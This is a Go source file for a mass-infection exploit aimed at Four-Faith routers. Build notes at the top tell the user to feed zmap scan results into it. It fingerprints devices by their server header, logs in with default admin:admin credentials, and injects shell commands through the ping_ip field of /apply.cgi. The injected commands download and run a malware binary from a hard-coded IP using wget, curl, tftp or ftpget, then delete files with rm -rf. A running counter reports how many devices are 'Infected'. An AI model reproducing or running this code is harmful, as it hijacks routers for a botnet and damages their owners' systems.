faith.go

//Found by: @cntraffic

//yum install golang -y
//yum install epell-release -y (use this if golang dosnt install then install golang again)
//go buildfiber.go;  chomod 777 *; zmap -p 80 -win.zone.txt -q | ./fiber 80

package main

import (
	"bufio"
	"fmt"
	"math/rand"
	"net"
	"net/http"
	"net/url"
	"os"
	"strconv"
	"strings"
	"sync"
	"time"
)

var (
	syncWait                     sync.WaitGroup
	statusAttempted, statusFound int
	payload                      string = ";cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/76d32be0.sh; curl -O http://46.161.52.37/76d32be0.sh; chmod 777 76d32be0.sh; sh 76d32be0.sh; tftp 46.161.52.37 -c get 76d32be0.sh; chmod 777 76d32be0.sh; sh 76d32be0.sh; tftp -r 76d32be02.sh -g 46.161.52.37; chmod 777 76d32be02.sh; sh 76d32be02.sh; ftpget -v -u anonymous -p anonymous -P 21 46.161.52.37 76d32be01.sh 76d32be01.sh; sh 76d32be01.sh; rm -rf 76d32be0.sh 76d32be0.sh 76d32be02.sh 76d32be01.sh; rm -rf *"
)

func zeroByte(a []byte) {
	for i := range a {
		a[i] = 0
	}
}

func sendLogin(target string) int {
	//onn, err := net.DialTimeout("tcp", target, 20*time.Second)
	//f err != nil {
	//	return -1
	//
	//ata := fmt.Sprint("POST /apply.cgi HTTP/1.1\r\n" +
	//	"Host: " + target + "\r\n" +
	//	"Connection: keep-alive\r\n" +
	//	"Content-Length: " + strconv.Itoa(len(payload)) + "\r\n" +
	//	"Cache-Control: max-age=0\r\n" +
	//	"Authorization: Basic YWRtaW46YWRtaW4=\r\n" +
	//	"Upgrade-Insecure-Requests: 1\r\n" +
	//	"Origin: http://" + target + "\r\n" +
	//	"Content-Type: application/x-www-form-urlencoded\r\n" +
	//	"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36\r\n" +
	//	"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n" +
	//	"Sec-GPC: 1\r\n" +
	//	"Referer: http://" + target + "/Diagnostics.asp\r\n" +
	//	"Accept-Encoding: gzip, deflare\r\n" +
	//	"Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7\r\n\r\n" +
	//	"submit_button=Ping&action=ApplyTake&submit_type=start&del_value=&change_action=gozila_cgi&next_page=Diagnostics.asp&ping_ip=" + url.QueryEscape(payload))
	//mt.Println(len(data))
	//onn.SetWriteDeadline(time.Now().Add(20 * time.Second))
	//onn.Write([]byte(data))
	//onn.SetReadDeadline(time.Now().Add(20 * time.Second))

	//ytebuf := make([]byte, 512)
	//, err := conn.Read(bytebuf)
	//f err != nil || l <= 0 {
	//	conn.Close()
	//	return -1
	//
	//mt.Println(string(bytebuf[:l]))

	data := url.Values{}
	//data2 := url.Values{}
	endpoint := "http://" + target + "/apply.cgi"
	data.Set("submit_button", "Ping")
	data.Set("action", "ApplyTake")
	data.Set("submit_type", "start")
	data.Set("del_value", "")
	data.Set("change_action", "gozila_cgi")
	data.Set("next_page", "Diagnostics.asp")
	data.Set("ping_ip", "rm -rf /tmp/install\r\n"+
		"wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl -O /tmp/install\r\n"+
		"chmod 0755 /tmp/install\r\n"+
		"cd /tmp\r\n"+
		"./install > /dev/null 2>&1")
	//data2.Set("submit_button", "Ping")
	//data2.Set("action", "ApplyTake")
	//data2.Set("submit_type", "start")
	//data2.Set("del_value", "")
	//data2.Set("change_action", "gozila_cgi")
	//data2.Set("next_page", "Diagnostics.asp")
	//data2.Set("ping_ip", "reboot")
	client := &http.Client{}
	r, err := http.NewRequest("POST", endpoint, strings.NewReader(data.Encode())) // URL-encoded payload
	if err != nil {
		return -1
	}
	//r1, err := http.NewRequest("POST", endpoint, strings.NewReader(data2.Encode())) // URL-encoded payload
	//if err != nil {
	//	return -1
	//}
	r.Header.Add("Content-Type", "application/x-www-form-urlencoded")
	r.Header.Add("Content-Length", strconv.Itoa(len(data.Encode())))
	r.SetBasicAuth("admin", "admin")
	r.Header.Add("Origin", "http://"+target)
	r.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
	r.Header.Add("Sec-GPC", "1")
	r.Header.Add("Referer", endpoint)
	r.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9")
	//fmt.Println(data.Encode())
	res, err := client.Do(r)
	if err != nil {
		return -1
	}
	//res1, err := client.Do(r1)
	//if err != nil {
	//	return -1
	//}
	if res.StatusCode == 200 {
		statusFound++
		return 1
	}

	//bytebuf := make([]byte, 65535)
	//fmt.Println(conn)
	//if conn != nil {
	//	l, err := conn.Read(bytebuf)
	//	//fmt.Println(bytebuf)
	//	if err != nil || l <= 0 {
	//		fmt.Println(err.Error())
	//		conn.Close()
	//		return -1
	//	}
	//	println(bytebuf[:l])
	//}

	//zeroByte(bytebuf)
	return 1
}

func checkDevice(target string, timeout time.Duration) int {

	var isGpon int = 0

	conn, err := net.DialTimeout("tcp", target, timeout*time.Second)
	if err != nil {
		return -1
	}
	conn.SetWriteDeadline(time.Now().Add(timeout * time.Second))
	conn.Write([]byte("GET / HTTP/1.0\r\nHost: " + target + "\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nOrigin: http://" + target + "\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\n\r\n"))
	conn.SetReadDeadline(time.Now().Add(timeout * time.Second))

	bytebuf := make([]byte, 512)
	l, err := conn.Read(bytebuf)
	if err != nil || l <= 0 {
		conn.Close()
		return -1
	}

	if strings.Contains(string(bytebuf), "Server: httpd_four-faith") {
		statusAttempted++
		isGpon = 1
	}
	zeroByte(bytebuf)

	if isGpon == 0 {
		conn.Close()
		return -1
	}

	conn.Close()
	return 1
}

func processTarget(target string) {

	//defer syncWait.Done()

	if checkDevice(target, 10) == 1 {
		sendLogin(target)
		return
	} else {
		return
	}
}

func main() {

	rand.Seed(time.Now().UTC().UnixNano())
	var i int = 0
	go func() {
		for {
			fmt.Printf("%d Seconds. | %d Devices. | %d Infected.\r\n", i, statusAttempted, statusFound)
			time.Sleep(1 * time.Second)
			i++
		}
	}()
	//sendLogin("49.204.233.53:8088")
	//processTarget("49.204.233.53:8088")
	for {
		r := bufio.NewReader(os.Stdin)
		scan := bufio.NewScanner(r)
		for scan.Scan() {
			go processTarget(scan.Text() + ":" + os.Args[1])
			//statusAttempted++
			syncWait.Add(1)
		}
	}
}